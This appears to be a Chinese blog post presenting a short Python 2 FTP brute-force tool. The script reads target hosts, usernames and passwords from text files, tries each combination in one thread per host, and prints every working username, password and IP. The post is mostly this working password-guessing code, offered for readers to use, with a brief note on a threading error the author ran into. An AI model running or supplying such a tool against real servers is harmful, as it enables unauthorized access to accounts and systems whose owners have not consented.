Python编写FTP爆破工具

根据网上现有的进行小改。需要提供host,user,pass字典。然后根据字典进行爆破

原型是没个密码都启动一个新线程数,我这里会报错,如下提示无法启动新线程

thread.error: can’t start new thread

后我改成用户和密码都放着线程内。只根据host个数来启动,如果host数目过多。

可能还会报错。具体多少没测。

使用前,需自行判断FTP是否对重试连接数有限制。

因为这ftplib库我一直不知道怎么取出错误状态码来判断。

PYTHON源码

代码很简单,请勿拍砖

  1. #!usr/bin/env python
  2. #!coding=utf-8
  3.  
  4. from ftplib import FTP
  5. import ftplib
  6. import threading
  7.  
  8. def Login(host):
  9. print '破解主机:' + host
  10. user=open('namelist.txt')
  11. for line in user:
  12. user=line.strip('\n')
  13. print '破解用户:' + user
  14. pwd=open('password.lst','r')
  15. for line in pwd:
  16. pwd=line.strip('\n')
  17. print '==>' + pwd
  18. ftp=FTP()
  19. try:
  20. ftp.connect(host,21,1)
  21. ftp.login(user,pwd)
  22.  
  23. ftp.retrlines('LIST')
  24. ftp.quit()
  25. print '破解成功,用户名:' + user +',密码:' + pwd + ',IP:'+ host
  26. return True
  27. except ftplib.all_errors:
  28. pass
  29.  
  30. host=open('host.txt')
  31. for line in host:
  32. host=line.strip('\n')
  33. t=threading.Thread(target=Login, args=(host,))
  34. t.start()

软件流程如下:

1,读取host.txt文件,遍历

2,启动线程调用login方法传入需爆破的主机

3,login根据传入的主机读取 user,pass,对主机FTP登录。错误跳过,直到成功

 

发表评论

邮箱地址不会被公开。 必填项已用*标注